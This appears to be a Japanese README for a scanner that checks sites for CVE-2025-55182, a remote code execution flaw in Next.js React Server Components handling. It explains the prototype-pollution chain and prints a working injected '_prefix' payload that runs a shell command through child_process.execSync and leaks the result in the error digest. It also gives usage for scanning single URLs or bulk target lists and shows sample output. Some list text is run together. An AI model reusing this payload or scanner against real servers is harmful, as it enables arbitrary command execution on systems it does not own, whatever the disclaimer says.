
CVE-2025-55182 - React Server Componentsの重大なRCE脆弱性に対するセキュリティスキャナー
このツールは、対象が CVE‑2025‑55182 に対して脆弱かどうかをチェックします。これは、Next.js 内の RSC(React Server Components)モデルペイロードの安全でない処理によって引き起こされるリモートコード実行バグです。
この脆弱性は、プロトタイプ汚染 → デシリアライゼーションの悪用 → サーバーサイドJavaScript実行 の連鎖を利用します。
免責事項: このツールは、法的に所有している、または明示的な許可を得たシステムでのみ使用してください。無許可のテストは犯罪ですよ。
Next.js は、multipart/form-data 経由で送信される特別な「モデル」オブジェクトを内部的に処理します。
攻撃者が偽造された thenable のような悪質な構造を注入すると、以下の内部プロパティを汚染できます:
__proto___response._prefixconstructor.constructorこれにより、サーバーが攻撃者制御のJavaScriptを評価し、完全なRCE に至ります。
-u)またはターゲットリスト(-l)を受け付けますid)を抽出しますfoxvuln.txt に保存しますpython3 main.py -u https://target.com
python3 main.py -l list.txt
このペイロードは、注入された _prefix を介して process.mainModule.require('child_process').execSync() を悪用します:
"_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
これにより、サーバーは id を実行し、スローされたダイジェスト内に結果をリークさせます(RSCエラーは意図的に構造化された「digest」フィールドを返すため)。
脆弱なターゲット:
[+] Testing: https://victim.com
[VULN] user : uid=1000(www-data)
脆弱ではない場合:
[+] Testing: https://secure.com
[NOT VULN]
確認された脆弱なURLはすべて、次のファイルに保存されます:
foxvuln.txt
形式:
https://victim.com => uid=1000(www-data)
/ でPOSTを処理することを前提としています